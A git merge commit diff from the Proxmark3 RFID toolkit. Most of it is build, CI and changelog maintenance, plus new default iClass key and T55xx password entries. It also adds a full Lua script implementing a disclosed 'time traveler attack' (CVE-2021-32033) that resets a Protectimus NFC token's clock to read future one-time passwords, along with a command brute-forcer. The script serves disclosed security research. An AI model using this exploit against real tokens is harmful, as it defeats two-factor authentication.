Merge branch 'master' into patch-1

This commit is contained in:
Philippe Teuwen 2021-06-16 18:12:25 +02:00 committed by GitHub
commit d699463fa0
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
69 changed files with 12675 additions and 790 deletions

View file

@ -1,6 +1,18 @@
name: MacOS Build and Test name: MacOS Build and Test
on: [push, pull_request] on:
push:
paths-ignore:
- 'doc/**'
- 'docker/**'
- 'traces/**'
- '.vscode/**'
pull_request:
paths-ignore:
- 'doc/**'
- 'docker/**'
- 'traces/**'
- '.vscode/**'
jobs: jobs:
macos-make: macos-make:

View file

@ -1,6 +1,19 @@
name: Ubuntu Build and Test name: Ubuntu Build and Test
on: [push, pull_request] on:
push:
paths-ignore:
- 'doc/**'
- 'docker/**'
- 'traces/**'
- '.vscode/**'
pull_request:
paths-ignore:
- 'doc/**'
- 'docker/**'
- 'traces/**'
- '.vscode/**'
jobs: jobs:
ubuntu-make: ubuntu-make:

View file

@ -1,6 +1,19 @@
name: Windows Build and Test name: Windows Build and Test
on: [push, pull_request] on:
push:
paths-ignore:
- 'doc/**'
- 'docker/**'
- 'traces/**'
- '.vscode/**'
pull_request:
paths-ignore:
- 'doc/**'
- 'docker/**'
- 'traces/**'
- '.vscode/**'
jobs: jobs:
proxspace: proxspace:

3
.gitignore vendored
View file

@ -115,3 +115,6 @@ fpga_version_info.c
!.vscode/templates/*.json !.vscode/templates/*.json
!.vscode/extensions.json !.vscode/extensions.json
!.vscode/tasks.json !.vscode/tasks.json
# docs
!doc/*.json

View file

@ -4,6 +4,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
## [unreleased][unreleased] ## [unreleased][unreleased]
- Added '-4041x' option to lf indala clone for the Indala 4041X format (@chunkystew) - Added '-4041x' option to lf indala clone for the Indala 4041X format (@chunkystew)
- Fixed `hf fido` commands now works correctly (@merlokk)
- Moved / renamed `client/resource/fido2_defparams.json` -> `client/resource/hf_fido2_defparams.json` (@merlokk)
- Added `hf cipurse` commands to work with cipurse transport cards (@merlokk)
- Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker) - Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker)
- Changed `hf fido` - refactored load/save json objects (@iceman1001) - Changed `hf fido` - refactored load/save json objects (@iceman1001)
- Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001) - Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001)

View file

@ -251,19 +251,23 @@ print-%: ; @echo $* = $($*)
style: style:
# Make sure astyle is installed # Make sure astyle is installed
@which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 ) @which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 )
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v # Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v, pm3
find . \( -not -path "./cov-int/*" -and -not -path "./fpga/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \ find . \( -not -path "./cov-int/*" -and -not -path "./fpga/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
-exec perl -pi -e 's/[ \t]+$$//' {} \; \ -exec perl -pi -e 's/[ \t]+$$//' {} \; \
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
-exec sh -c "echo >> {}" \; -exec sh -c "echo >> {}" \;
# Apply astyle on *.c, *.h, *.cpp # Apply astyle on *.c, *.h, *.cpp
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ find . \( -not -path "./cov-int/*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
--indent=spaces=4 --indent-switches \ --indent=spaces=4 --indent-switches \
--keep-one-line-blocks --max-instatement-indent=60 \ --keep-one-line-blocks --max-instatement-indent=60 \
--style=google --pad-oper --unpad-paren --pad-header \ --style=google --pad-oper --unpad-paren --pad-header \
--align-pointer=name {} \; --align-pointer=name {} \;
# Update commands.md # Update commands.md
[ -x client/proxmark3 ] && client/proxmark3 -m > doc/commands.md [ -x client/proxmark3 ] && client/proxmark3 -m > doc/commands.md
# Make sure python3 is installed
@which python3 >/dev/null || ( echo "Please install 'python3' package first" ; exit 1 )
# Update commands.json
[ -x client/proxmark3 ] && client/proxmark3 --fulltext | python3 client/pyscripts/pm3_help2json.py - doc/commands.json
# Detecting weird codepages and tabs. # Detecting weird codepages and tabs.
ifeq ($(platform),Darwin) ifeq ($(platform),Darwin)
@ -278,7 +282,7 @@ miscchecks:
# Make sure recode is installed # Make sure recode is installed
@which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 ) @which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 )
@echo "Files with suspicious chars:" @echo "Files with suspicious chars:"
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \ @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
-exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \; -exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \;
ifneq (,$(EDIT)) ifneq (,$(EDIT))
@echo "Files with tabs: (EDIT enabled, files will be rewritten!)" @echo "Files with tabs: (EDIT enabled, files will be rewritten!)"
@ -286,7 +290,7 @@ else
@echo "Files with tabs: (rerun with EDIT=1 if you want to convert them with vim)" @echo "Files with tabs: (rerun with EDIT=1 if you want to convert them with vim)"
endif endif
# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq' # to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq'
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \) \ @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \
-exec sh -c "$(TABSCMD)" \; -exec sh -c "$(TABSCMD)" \;
# @echo "Files with printf \\\\t:" # @echo "Files with printf \\\\t:"
# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \ # @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \

View file

@ -193,7 +193,6 @@ set (TARGET_SOURCES
${PM3_ROOT}/client/src/emv/test/cryptotest.c ${PM3_ROOT}/client/src/emv/test/cryptotest.c
${PM3_ROOT}/client/src/emv/test/dda_test.c ${PM3_ROOT}/client/src/emv/test/dda_test.c
${PM3_ROOT}/client/src/emv/test/sda_test.c ${PM3_ROOT}/client/src/emv/test/sda_test.c
${PM3_ROOT}/client/src/emv/apduinfo.c
${PM3_ROOT}/client/src/emv/cmdemv.c ${PM3_ROOT}/client/src/emv/cmdemv.c
${PM3_ROOT}/client/src/emv/crypto.c ${PM3_ROOT}/client/src/emv/crypto.c
${PM3_ROOT}/client/src/emv/crypto_polarssl.c ${PM3_ROOT}/client/src/emv/crypto_polarssl.c
@ -210,6 +209,10 @@ set (TARGET_SOURCES
${PM3_ROOT}/client/src/fido/cbortools.c ${PM3_ROOT}/client/src/fido/cbortools.c
${PM3_ROOT}/client/src/fido/cose.c ${PM3_ROOT}/client/src/fido/cose.c
${PM3_ROOT}/client/src/fido/fidocore.c ${PM3_ROOT}/client/src/fido/fidocore.c
${PM3_ROOT}/client/src/iso7816/apduinfo.c
${PM3_ROOT}/client/src/iso7816/iso7816core.c
${PM3_ROOT}/client/src/cipurse/cipursecrypto.c
${PM3_ROOT}/client/src/cipurse/cipursecore.c
${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipher.c
${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/cipherutils.c
${PM3_ROOT}/client/src/loclass/elite_crack.c ${PM3_ROOT}/client/src/loclass/elite_crack.c
@ -241,6 +244,7 @@ set (TARGET_SOURCES
${PM3_ROOT}/client/src/cmdhfepa.c ${PM3_ROOT}/client/src/cmdhfepa.c
${PM3_ROOT}/client/src/cmdhffelica.c ${PM3_ROOT}/client/src/cmdhffelica.c
${PM3_ROOT}/client/src/cmdhffido.c ${PM3_ROOT}/client/src/cmdhffido.c
${PM3_ROOT}/client/src/cmdhfcipurse.c
${PM3_ROOT}/client/src/cmdhficlass.c ${PM3_ROOT}/client/src/cmdhficlass.c
${PM3_ROOT}/client/src/cmdhfjooki.c ${PM3_ROOT}/client/src/cmdhfjooki.c
${PM3_ROOT}/client/src/cmdhflegic.c ${PM3_ROOT}/client/src/cmdhflegic.c

View file

@ -473,6 +473,7 @@ SRCS = aiddesfire.c \
cmdhfemrtd.c \ cmdhfemrtd.c \
cmdhffelica.c \ cmdhffelica.c \
cmdhffido.c \ cmdhffido.c \
cmdhfcipurse.c \
cmdhficlass.c \ cmdhficlass.c \
cmdhflegic.c \ cmdhflegic.c \
cmdhfjooki.c \ cmdhfjooki.c \
@ -535,7 +536,6 @@ SRCS = aiddesfire.c \
crypto/asn1dump.c \ crypto/asn1dump.c \
crypto/asn1utils.c\ crypto/asn1utils.c\
crypto/libpcrypto.c\ crypto/libpcrypto.c\
emv/apduinfo.c \
emv/cmdemv.c \ emv/cmdemv.c \
emv/crypto.c\ emv/crypto.c\
emv/crypto_polarssl.c\ emv/crypto_polarssl.c\
@ -557,11 +557,15 @@ SRCS = aiddesfire.c \
fido/cose.c \ fido/cose.c \
fido/cbortools.c \ fido/cbortools.c \
fido/fidocore.c \ fido/fidocore.c \
cipurse/cipursecore.c \
cipurse/cipursecrypto.c \
fileutils.c \ fileutils.c \
flash.c \ flash.c \
generator.c \ generator.c \
graph.c \ graph.c \
jansson_path.c \ jansson_path.c \
iso7816/apduinfo.c \
iso7816/iso7816core.c \
loclass/cipher.c \ loclass/cipher.c \
loclass/cipherutils.c \ loclass/cipherutils.c \
loclass/elite_crack.c \ loclass/elite_crack.c \

View file

@ -61,7 +61,6 @@ add_library(pm3rrg_rdv4 SHARED
${PM3_ROOT}/client/src/emv/test/cryptotest.c ${PM3_ROOT}/client/src/emv/test/cryptotest.c
${PM3_ROOT}/client/src/emv/test/dda_test.c ${PM3_ROOT}/client/src/emv/test/dda_test.c
${PM3_ROOT}/client/src/emv/test/sda_test.c ${PM3_ROOT}/client/src/emv/test/sda_test.c
${PM3_ROOT}/client/src/emv/apduinfo.c
${PM3_ROOT}/client/src/emv/cmdemv.c ${PM3_ROOT}/client/src/emv/cmdemv.c
${PM3_ROOT}/client/src/emv/crypto.c ${PM3_ROOT}/client/src/emv/crypto.c
${PM3_ROOT}/client/src/emv/crypto_polarssl.c ${PM3_ROOT}/client/src/emv/crypto_polarssl.c
@ -78,6 +77,8 @@ add_library(pm3rrg_rdv4 SHARED
${PM3_ROOT}/client/src/fido/cbortools.c ${PM3_ROOT}/client/src/fido/cbortools.c
${PM3_ROOT}/client/src/fido/cose.c ${PM3_ROOT}/client/src/fido/cose.c
${PM3_ROOT}/client/src/fido/fidocore.c ${PM3_ROOT}/client/src/fido/fidocore.c
${PM3_ROOT}/client/src/iso7816/apduinfo.c
${PM3_ROOT}/client/src/iso7816/iso7816core.c
${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipher.c
${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/cipherutils.c
${PM3_ROOT}/client/src/loclass/elite_crack.c ${PM3_ROOT}/client/src/loclass/elite_crack.c

View file

@ -12,3 +12,4 @@ F0E1D2C3B4A59687 # Kd from PicoPass 2k documentation
31ad7ebd2f282168 # From HID multiclassSE reader 31ad7ebd2f282168 # From HID multiclassSE reader
6EFD46EFCBB3C875 # From pastebin: https://pastebin.com/uHqpjiuU 6EFD46EFCBB3C875 # From pastebin: https://pastebin.com/uHqpjiuU
E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU
2020666666668888 # iCopy-X

View file

@ -36,6 +36,8 @@ E9920427
575F4F4B 575F4F4B
# #
50520901 50520901
# iCopy-X
20206666
# Default pwd, simple: # Default pwd, simple:
00000000 00000000
11111111 11111111

View file

@ -193,7 +193,6 @@ set (TARGET_SOURCES
${PM3_ROOT}/client/src/emv/test/cryptotest.c ${PM3_ROOT}/client/src/emv/test/cryptotest.c
${PM3_ROOT}/client/src/emv/test/dda_test.c ${PM3_ROOT}/client/src/emv/test/dda_test.c
${PM3_ROOT}/client/src/emv/test/sda_test.c ${PM3_ROOT}/client/src/emv/test/sda_test.c
${PM3_ROOT}/client/src/emv/apduinfo.c
${PM3_ROOT}/client/src/emv/cmdemv.c ${PM3_ROOT}/client/src/emv/cmdemv.c
${PM3_ROOT}/client/src/emv/crypto.c ${PM3_ROOT}/client/src/emv/crypto.c
${PM3_ROOT}/client/src/emv/crypto_polarssl.c ${PM3_ROOT}/client/src/emv/crypto_polarssl.c
@ -210,6 +209,8 @@ set (TARGET_SOURCES
${PM3_ROOT}/client/src/fido/cbortools.c ${PM3_ROOT}/client/src/fido/cbortools.c
${PM3_ROOT}/client/src/fido/cose.c ${PM3_ROOT}/client/src/fido/cose.c
${PM3_ROOT}/client/src/fido/fidocore.c ${PM3_ROOT}/client/src/fido/fidocore.c
${PM3_ROOT}/client/src/iso7816/apduinfo.c
${PM3_ROOT}/client/src/iso7816/iso7816core.c
${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipher.c
${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/cipherutils.c
${PM3_ROOT}/client/src/loclass/elite_crack.c ${PM3_ROOT}/client/src/loclass/elite_crack.c

View file

@ -0,0 +1,427 @@
local cmds = require('commands')
local getopt = require('getopt')
local lib14a = require('read14a')
local utils = require('utils')
local ansicolors = require('ansicolors')
copyright = '(c) 2021 SySS GmbH'
author = 'Matthias Deeg'
version = 'v0.8'
desc = [[
This script can perform different operations on a Protectimus SLIM NFC
hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
]]
example = [[
-- default
script run hf_14a_protectimus_nfc
]]
usage = [[
script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
]]
arguments = [[
-h This help
-i Read token info (e.g. firmware version, OTP interval)
-r Read the current one-time password (OTP)
-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
e.g. 2029-01-01T13:37:00+01:00
]]
-- Some globals
local DEBUG = false -- the debug flag
-- Defined operations
local READ_OTP = 1 -- read the one-time password
local READ_INFO = 2 -- read the NFC token info
local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack
-- A debug printout function
local function dbg(args)
if not DEBUG then return end
if type(args) == 'table' then
local i = 1
while args[i] do
dbg(args[i])
i = i + 1
end
else
print('###', args)
end
end
-- This is only meant to be used when errors occur
local function oops(err)
print('ERROR:', err)
core.clearCommandBuffer()
return nil, err
end
-- Usage help
local function help()
print(copyright)
print(author)
print(version)
print(desc)
print(ansicolors.cyan .. 'Usage' .. ansicolors.reset)
print(usage)
print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset)
print(arguments)
print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset)
print(example)
end
-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
function getUnixTime(datetime)
-- get time delta regarding Coordinated Universal Time (UTC)
local now_local = os.time()
local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local)))
local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600)
-- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern)
if new_year == nil or new_month == nil or new_day == nil or
new_hour == nil or new_minute == nil or new_seconds == nil or
new_hour_offset == nil or new_minute_offset == nil then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" ..
" Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
" e.g. 2029-01-01T13:37:00+01:00")
return nil
end
-- get the requested datetime as Unix time (UTC)
local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset,
min = new_minute + minute_offset - new_minute_offset, sec = new_seconds})
return epoch
end
-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
function sendRaw(rawdata, options)
-- send raw
local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT
+ lib14a.ISO14A_COMMAND.ISO14A_RAW
+ lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC
local command = Command:newMIX{
cmd = cmds.CMD_HF_ISO14443A_READER,
-- arg1 is the defined flags for sending "raw" ISO 14443A package
arg1 = flags,
-- arg2 contains the length, which is half the length of the ASCII
-- string data
arg2 = string.len(rawdata) / 2,
data = rawdata
}
return command:sendMIX(options.ignore_response)
end
-- Read the current one-time password (OTP)
function readOTP(show_output)
-- read OTP command
local cmd = "028603420042"
local otp_value = ''
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)")
end
-- send the raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
-- check the response
if len == 0 then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
return nil
end
if data:sub(0, 8) == "02AA0842" then
-- extract the binary-coded decimal (BCD) OTP value from the response
for i = 10, #data - 2, 2 do
local c = data:sub(i, i)
otp_value = otp_value .. c
end
-- show the output if requested
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset)
end
else
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
otp_value = nil
end
return otp_value
end
-- Read token info
function readInfo(show_output)
-- read info command
local cmd = "0286021010"
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info")
end
-- send the raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
-- check the response
if len == 0 then
print("[-] Error: Could not read the token info")
return nil
end
if data:sub(0, 8) == "02AA0B10" then
-- extract the token info from the response
local hardware_schema = tonumber(data:sub(11, 12))
local firmware_version_major = tonumber(data:sub(13, 14))
local firmware_version_minor = tonumber(data:sub(13, 14))
local hardware_rtc = tonumber(data:sub(19, 20))
local otp_interval = tonumber(data:sub(23, 24))
local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" ..
" Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" ..
" Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" ..
" Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" ..
" OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset
-- check hardware real-time clock (RTC)
if hardware_rtc == 1 then
hardware_rtc = true
else
hardware_rtc = false
end
-- check one-time password interval
if otp_interval == 0 then
otp_interval = '30'
elseif otp_interval == 10 then
otp_interval = '60'
else
otp_interval = 'unknown'
end
if show_output then
-- show the token info
print(string.format(info, hardware_schema, firmware_version_major,
firmware_version_minor, hardware_rtc,
otp_interval))
end
return otp_interval
else
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info")
otp_value = nil
end
return info
end
-- Bruteforce commands
function bruteforceCommands()
-- read OTP command
local cmd = ''
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands")
end
for n = 0, 255 do
cmd = string.format("028602%d%d", n)
print(string.format("[+] Send command %s", cmd))
-- send the raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
-- check the response
if len == 0 then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response")
else
print(data)
end
io.read(1)
end
end
-- Set an arbitrary Unix time (epoch)
function setTime(time, otp_interval)
-- calculate the two required time variables
local time_var1 = math.floor(time / otp_interval)
local time_var2 = math.floor(time % otp_interval)
-- build the raw command data
local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2)
-- calculate XOR checksum on data
local checksum = 0
for i = 1, #data, 2 do
local c = data:sub(i, i + 1)
checksum = bit32.bxor(checksum , tonumber(c, 16))
end
-- build the complete raw command
local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum)
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time))
-- send raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
end
-- Set the current time
function setCurrentTime(otp_interval)
-- get the current Unix time (epoch)
local current_time = os.time(os.date("*t"))
setTime(current_time, otp_interval)
end
-- Perform a time travel attack for generating a future OTP
function timeTravelAttack(datetime_string, otp_interval)
if nil == datetime_string then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given")
return nil
end
-- get the future time as Unix time
local future_time = getUnixTime(datetime_string)
if nil == future_time then
return
end
-- set the future time
setTime(future_time, otp_interval)
print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press <ENTER>")
-- while loop do
io.read(1)
-- read the OTP
local otp = readOTP(false)
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " ..
ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " ..
ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp))
-- reset the current time
setCurrentTime(otp_interval)
end
-- Show a fancy banner
function banner()
print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
"Perform different operations on a Protectimus SLIM NFC hardware token", version))
end
-- The main entry point
function main(args)
local ignore_response = false
local no_rats = false
local operation = READ_OTP
local target_time = nil
-- show a fancy banner
banner()
-- read the parameters
for o, a in getopt.getopt(args, 'hirt:b') do
if o == 'h' then return help() end
if o == 'i' then operation = READ_INFO end
if o == 'r' then operation = READ_OTP end
if o == 't' then
operation = TIME_TRAVELER_ATTACK
target_time = a
end
if o == 'b' then bruteforceCommands() end
end
-- connect to the TOTP hardware token
info, err = lib14a.read(true, no_rats)
if err then
lib14a.disconnect()
return oops(err)
end
-- show tag info
print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid))
-- perform the requested operation
if operation == READ_OTP then
readOTP(true)
elseif operation == READ_INFO then
readInfo(true)
elseif operation == TIME_TRAVELER_ATTACK then
-- read token info and get OTP interval
local otp_interval = readInfo(false)
if nil == otp_interval then
return
end
-- perform time traveler attack
timeTravelAttack(target_time, otp_interval)
end
-- disconnect
lib14a.disconnect()
end
-------------------------
-- Testing
-------------------------
function selftest()
DEBUG = true
dbg('Performing test')
main()
dbg('Tests done')
end
-- Flip the switch here to perform a sanity check.
-- It read a nonce in two different ways, as specified in the usage-section
if '--test' == args then
selftest()
else
-- Call the main
main(args)
end

207
client/pyscripts/pm3_help2json.py Executable file
View file

@ -0,0 +1,207 @@
#!/usr/bin/env python3
"""
PM3 Help 2 JSON
This script takes the full text help output from the PM3 client and converts it to JSON.
Authors / Maintainers:
- Samuel Windall
Note:
This file is used during the pm3 client build
any changes to the call script parameters should be reflected in the makefile
"""
import re
import json
import datetime
import argparse
import logging
##############################################################################
# Script version data: (Please increment when making updates)
APP_NAME = 'PM3Help2JSON'
VERSION_MAJOR = 1
VERSION_MINOR = 0
##############################################################################
# Main Application Code:
def main():
"""The main function for the script"""
args = build_arg_parser().parse_args()
logging_format = '%(message)s'
if args.debug:
logging.basicConfig(level=logging.DEBUG, format=logging_format)
else:
logging.basicConfig(level=logging.WARN, format=logging_format)
logging.info(f'{get_version()} starting...')
help_text = args.input_file.read()
command_data = parse_all_command_data(help_text)
meta_data = build_metadata(args.meta, command_data)
output_data = {
'metadata': meta_data,
'commands': command_data,
}
json.dump(output_data, args.output_file, indent=4, sort_keys=True)
logging.info(f'{get_version()} completed!')
def build_arg_parser():
"""Build the argument parser for reading the program arguments"""
parser = argparse.ArgumentParser()
parser.add_argument('input_file', type=argparse.FileType('r'), help='Source of full text help from the PM3 client.')
parser.add_argument('output_file', type=argparse.FileType('w'), help='Destination for JSON output.')
parser.add_argument('--meta', action='append', help='Additional metadata to be included.', metavar='key:value')
parser.add_argument('--version', '-v', action='version', version=get_version(), help='Version data about this app.')
parser.add_argument('--debug', '-d', action='store_true', help='Log debug messages.')
return parser
def build_help_regex():
"""The regex uses to parse the full text output of help data from the pm3 client."""
# Reads the divider followed by the command itself
re_command = r'-{87}\n(?P<command>.+)\n'
# Reads if the command is available offline
re_offline = r'available offline: (?P<offline>yes|no)\n+'
# Reads the description lines
re_description = r'(?P<description>(.|\n)+?)\n+'
# Reads the usage string
re_usage = r'usage:\n(?P<usage>(?:.+\n)+)\n+'
# Reads the options and there individual descriptions
re_options = r'options:\n(?P<options>(?:.+\n)+)\n'
# Reads the notes and examples
re_notes = r'examples\/notes:\n(?P<notes>(?:.+\n)+)'
# Combine them into a single regex object
re_full = re.compile(re_command+re_offline+re_description+re_usage+re_options+re_notes, re.MULTILINE);
return re_full
def parse_all_command_data(help_text):
"""Turns the full text output of help data from the pm3 client into a list of dictionaries"""
command_dicts = {}
# Strip out ANSI escape sequences
help_text = remove_ansi_escape_codes(help_text)
# Find all commands in the full text help output
matches = build_help_regex().finditer(help_text)
for match in matches:
# Turn a match into a dictionary with keys for the extracted fields
command_object = parse_command_data(match)
# Store this command against its name for easy lookup
command_dicts[command_object['command']] = command_object
return command_dicts
def parse_command_data(match):
"""Turns a regex match of a command in the help text and converts it into a dictionary"""
logging.info('Parsing new command...')
# Get and clean the command string
command = remove_extra_whitespace(match.group('command'))
logging.info(f' Command: {command}')
# Get the online status as a boolean. Note: the regex only picks up 'yes' or 'no' so this check is safe.
offline = (match.group('offline') == 'yes')
logging.debug(f' Offline: {offline}')
# Get and clean the description paragraph
description = text_to_oneliner(match.group('description'))
logging.debug(f' Description: {description}')
# Get and clen the usage string
usage = text_to_oneliner(match.group('usage'))
logging.debug(f' Usage: {usage}')
# Get and clean the list of options
options = text_to_list(match.group('options'))
logging.debug(f' Options: {options}')
# Get and clean the list of examples and notes
notes = text_to_list(match.group('notes'))
logging.debug(f' Notes: {notes}')
# Construct the command dictionary
command_data = {
'command': command,
'offline': offline,
'description': description,
'usage': usage,
'options': options,
'notes': notes
}
logging.info('Completed parsing command!')
return command_data
def build_metadata(extra_data, command_data):
"""Turns the full text output of help data from the pm3 client into a list of dictionaries."""
logging.info('Building metadata...')
metadata = {
'extracted_by': get_version(),
'extracted_on': datetime.datetime.utcnow().replace(microsecond=0).isoformat(),
'commands_extracted': len(command_data)
}
for key, value in metadata.items():
logging.debug(f' {key} - {value}')
if extra_data:
for extra in extra_data:
parts = extra.split(':')
if len(parts) == 2:
metadata[parts[0]] = parts[1]
logging.debug(f' {parts[0]} - {parts[1]}')
else:
logging.warning(f'Error building metadata. '
f'Skipped "{extra}". '
f'Extra metadata must be in the format "key:value".')
